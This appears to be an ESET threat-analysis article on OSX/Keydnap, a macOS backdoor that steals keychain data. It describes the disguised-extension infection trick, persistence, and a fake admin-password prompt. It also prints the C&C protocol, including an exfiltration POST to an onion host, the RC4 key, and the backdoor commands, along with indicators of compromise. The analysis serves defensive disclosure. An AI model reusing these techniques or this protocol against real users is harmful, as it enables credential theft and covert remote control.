For the last few weeks, ESET has been investigating OSX/Keydnap, a malware that steals the content of the keychain while maintaining a permanent backdoor.

ESET analyzes multiple samples targeting OS X every day. Those samples are usually potentially unwanted applications that inject advertisements into browser displays while the victim is browsing the web.

For the last few weeks, we have been investigating an interesting case where the purpose of the malware is to steal the content of the keychain and maintain a permanent backdoor. This article will describe the components of this threat and what we know about it so far.

Infection vector

It is still not clear how victims are initially exposed to OSX/Keydnap. It could be through attachments in spam messages, downloads from untrusted websites or something else.

What we know is that a downloader component is distributed in a .zip file. The archive file contains a Mach-O executable file with an extension that looks benign, such as .txt or .jpg. However, the file extension actually contains a space character at the end, which means double-clicking the file in Finder will launch it in Terminal and not Preview or TextEdit.

The ZIP also contains the Resource fork that contains the icon of the executable file. It mimics the icon Finder usually applies to JPEG or text files to increase the likelihood the recipient will double-click the file. Once started, a Terminal window opens and the malicious payload is executed.

Figure 3: Screen capture of the downloader executed on OS X El Capitan. Notice the Terminal icon shows for a fraction of a second before opening Preview.

OSX/Keydnap downloader

The downloader is an unsigned Mach-O executable. Thus, if the file is downloaded from an internet browser and Gatekeeper is activated on the machine – the default in recent versions of OS X and macOS – it will not execute and display a warning to the user.

Keydnap’s downloader is simple. It will:

Download and execute the backdoor component Replace the content of the downloader Mach-O executable with a decoy, either using a base64-encoded embedded file or by downloading it from the internet Open a decoy document (described later) Close the Terminal window that just opened

The decoy document replaces the downloader Mach-O file, which means the malicious executable is only present in the ZIP file now. The downloader isn’t persistent. However, the downloaded backdoor will add an entry to the LaunchAgents directory and survive across reboot. It is described in more details in the backdoor section.

We have found multiple variants of the downloader executable. A list of different samples can be found at the end of the article.

Interestingly, we’ve seen recent samples embedding decoy documents that are screenshots of botnet C&C panels or dumps of credit card numbers. This suggests that Keydnap may be targeting users of underground forums or maybe even security researchers. Also included in recent variants is a “build name”. We have seen three different names: elitef*ck, ccshop and transmission.

OSX/Keydnap backdoor

All samples of the backdoor we have seen have the filename icloudsyncd. The malware has a version string that is reported to the C&C server. So far, we have seen two versions: 1.3.1 first seen in May 2016 and 1.3.5 in June.

Obfuscation

While the downloader module is not packed, the backdoor is packed with a modified version of UPX. Two modifications are made to UPX version 3.91:

The magic bytes UPX! in the UPX header are replaced with ASS7 ,

in the UPX header are replaced with , The decompressed code and strings sections are XORed with 0x01. While self-decompressing, the XOR is applied after decompression and before calling the main function of the original binary.

A patch for UPX is available on ESET’s malware-research Github repository that allows unpacking Keydnap’s backdoor with the usual upx -d.

Persistence

Once started, the Keydnap backdoor installs a plist file in /Library/LaunchAgents/ if it has root privileges or $USER/Library/LaunchAgents/ otherwise to achieve persistence across reboots. The Library/Application Support/com.apple.iCloud.sync.daemon directory is used to keep the icloudsyncd executable. This directory will also contain the process id of the running malware in process.id and a “build name” (as it is called by the author) in build.id. With administrator privileges, it will also change the owner of icloudsyncd to root:admin and make the executable setuid and setgid, which means it will always run as root in the future.

To camouflage the location of the malicious file, Keydnap replaces argv[0] with /usr/libexec/icloudsyncd –launchd netlogon.bundle. Here is an example of the result of ps ax on an infected system:

$ ps ax [...] 566 ?? Ss 0:00.01 /usr/libexec/icloudsyncd -launchd netlogon.bundle [...] 1 2 3 4 $ ps ax [ . . . ] 566 ? ? Ss 0 : 00.01 / usr / libexec / icloudsyncd - launchd netlogon . bundle [ . . . ]

Figure 8: Result of ps ax on an infected system

Keychain stealing

The OSX/Keydnap backdoor is equipped with a mechanism to gather and exfiltrate passwords and keys stored in OS X’s keychain. The author simply took a proof-of-concept example available on Github called Keychaindump. It reads securityd’s memory and searches for the decryption key for the user’s keychain. This process is described in a paper by K. Lee and H. Koo. One of the reasons we think the source was taken directly from Github is that the function names in the source code are the same in the Keydnap malware.

C&C communication

Keydnap is using the onion.to Tor2Web proxy over HTTPS to report back to its C&C server. We’ve seen two onion addresses used in different samples:

g5wcesdfjzne7255.onion (Down)

(Down) r2elajikcosf7zee.onion (Alive at time of writing)

The HTTP resource always starts with /api/osx/ and contains actions such as:

/api/osx/started to report the bot has just started

to report the bot has just started /api/osx/keychain to exfiltrate the content of the keychain

to exfiltrate the content of the keychain /api/osx/get_task?bot_id={botid}&version={version} to request a task (described below)

to request a task (described below) /api/osx/cmd_executed to report a the output of a command that was executed

to report a the output of a command that was executed /api/osx/task_complete?bot_id={botid}&task_id={taskid} to report a task was completed

HTTP POST content has two fields: bot_id and data. The data field is encrypted with the RC4 key “u2RLhh+!LGd9p8!ZtuKcN” without quotes. When exfiltrating the keychain, the keychain field is used instead of data.

POST /api/osx/started HTTP/1.1 Host: r2elajikcosf7zee.onion.to Accept: */* Content-Length: 233 Content-Type: application/x-www-form-urlencoded bot_id=9a8965ba04e72909f36c8d16aa801794c6d905d045c2b704e8f0a9bbb97d3eb8&data=psX0DKYB0u...5TximyY%2BQY%3D 1 2 3 4 5 6 7 POST / api / osx / started HTTP / 1.1 Host : r2elajikcosf7zee . onion . to Accept : * / * Content - Length : 233 Content - Type : application / x - www - form - urlencoded bot_id = 9a8965ba04e72909f36c8d16aa801794c6d905d045c2b704e8f0a9bbb97d3eb8 & amp ; data = psX0DKYB0u . . . 5TximyY % 2BQY % 3D

Figure 10: Malware sending initial information

> rc4decrypt(base64decode("psX0DKYB0u...5TximyY+QY="), "u2RLhh+!LGd9p8!ZtuKcN") device_model=MacBookPro9,2 bot_version=1.3.5 build_name=elitef*ck os_version=15.5.0 ip_address=4.5.6.7 has_root=0 1 2 3 4 5 6 7 & gt ; rc4decrypt ( base64decode ( "psX0DKYB0u...5TximyY+QY=" ) , "u2RLhh+!LGd9p8!ZtuKcN" ) device_model = MacBookPro9 , 2 bot_version = 1.3.5 build_name = elitef* ck os_version = 15.5.0 ip_address = 4.5.6.7 has_root = 0

Figure 11: Decoded data sent to C&C

The bot_id is constructed by hashing the following values with SHA-256:

The hardware UUID ( IOPlatformUUID ) The system serial number ( IOPlatformSerialNumber ) The model identifier of the Mac (e.g.: MacBookPro9,2 )

Most actions are self-explanatory. The started command will send the following information to the C&C:

device_model : the model identifier (e.g.: MacBookPro9,2 )

: the model identifier (e.g.: ) bot_version : version of Keydnap

: version of Keydnap build_name : the “build name” that was given by downloader

: the “build name” that was given by downloader os_version : OS X or macOS kernel version

: OS X or macOS kernel version ip_address : external IP address as reported by ipify.org

: external IP address as reported by ipify.org has_root : 1 if executed as root, 0 otherwise

Backdoor commands

The response to get_task contains an integer to identify the type of command and optional arguments. The function named get_and_execute_tasks handles 10 different command types.

Command ID Description 0 Uninstall Keydnap and quit 1 Update the backdoor from a base64-encoded file 2 Update the backdoor given a URL 3 Decode and execute a base64-encoded file 4 Decode and execute a base64-encoded Python script 5 Download and execute a file from a URL 6 Download and execute a Python script from a URL 7 Execute a command and report the output back to the C&C server 8 Request administrator privileges the next time the user runs an application 9 Decode and execute, or stop, a base64-encoded file calledauthd_service

The last two commands stand out. The command with ID 8 must be sent while Keydnap isn’t running as root already. When issued, the backdoor will start monitoring the user’s process count. When two new processes are created within two seconds, Keydnap will spawn a window asking for the user’s credentials, exactly like the one OS X users usually see when an application requires admin privileges. If the victim falls for this and enters their credentials, the backdoor will henceforth run as root and the content of the victim’s keychain will be exfiltrated.

We do not know what the authd_service executable managed by command ID 9 is, because we haven’t seen it used. It could be a third stage malware deployed to certain targets of interest.

Conclusion

There are a few missing pieces to this puzzle. We do not know at this point how Keydnap is distributed. Nor do we know how many victims there are out there.

Although there are multiple security mechanisms in place in OS X to mitigate malware, it’s possible to deceive the user into executing non-sandboxed malicious code by replacing the icon of a Mach-O file.

IoCs

Samples

Downloader

All downloaders listed below are detected as OSX/TrojanDownloader.Keydnap.A by ESET products.

SHA-1 Filename First seen on VirusTotal Backdoor download URL Decoy description or URL 07cd177f5baf8c1bdbbae22f1e8f03f22dfdb148 "info_list.txt " 2016-05-09 hxxp://dev.aneros.com/media/icloudsyncd "Most Common Interview Questions" 78ba1152ef3883e63f10c3a85cbf00f2bb305a6a "screenshot_2016-06-28-01.jpg " 2016-06-28 hxxp://freesafesoft.com/icloudsyncd BlackHat-TDS Panel screenshot 773a82343367b3d09965f6f09cc9887e7f8f01bf "screenshot.jpg " 2016-05-07 hxxp://dev.aneros.com/media/icloudsyncd Firefox 20 about screenshot dfdb38f1e3ca88cfc8e9a2828599a8ce94eb958c "CVdetails.doc " 2016-05-03 hxxp://lovefromscratch.ca/wp-admin/css/icloudsyncd hxxp://lovefromscratch.ca/wp-admin/CVdetails.doc 2739170ed195ff1b9f00c44502a21b5613d08a58 "CVdetails.doc " 2016-05-03 hxxp://lovefromscratch.ca/wp-admin/css/icloudsyncd hxxp://lovefromscratch.ca/wp-admin/CVdetails.doc e9d4523d9116b3190f2068b1be10229e96f21729 "logo.jpg " 2016-06-02 hxxp://dev.aneros.com/media/icloudsyncd sanelite logo 7472102922f91a78268430510eced1059eef1770 "screenshot_9324 2.jpg " 2016-06-28 hxxp://freesafesoft.com/icloudsyncd Some C&C panel

Backdoor

SHA-1 ESET Detection name C&C Version a4bc56f5ddbe006c9a68422a7132ad782c1aeb7b OSX/Keydnap.A hxxps://g5wcesdfjzne7255.onion.to 1.3.1 abf99129e0682d2fa40c30a1a1ad9e0c701e14a4 OSX/Keydnap.A hxxps://r2elajikcosf7zee.onion.to 1.3.5

Backdoor C&C servers

hxxps://g5wcesdfjzne7255.onion.to/

hxxps://r2elajikcosf7zee.onion.to/

Keydnap’s IoCs are also available and updated on ESET’s malware-ioc Github repository.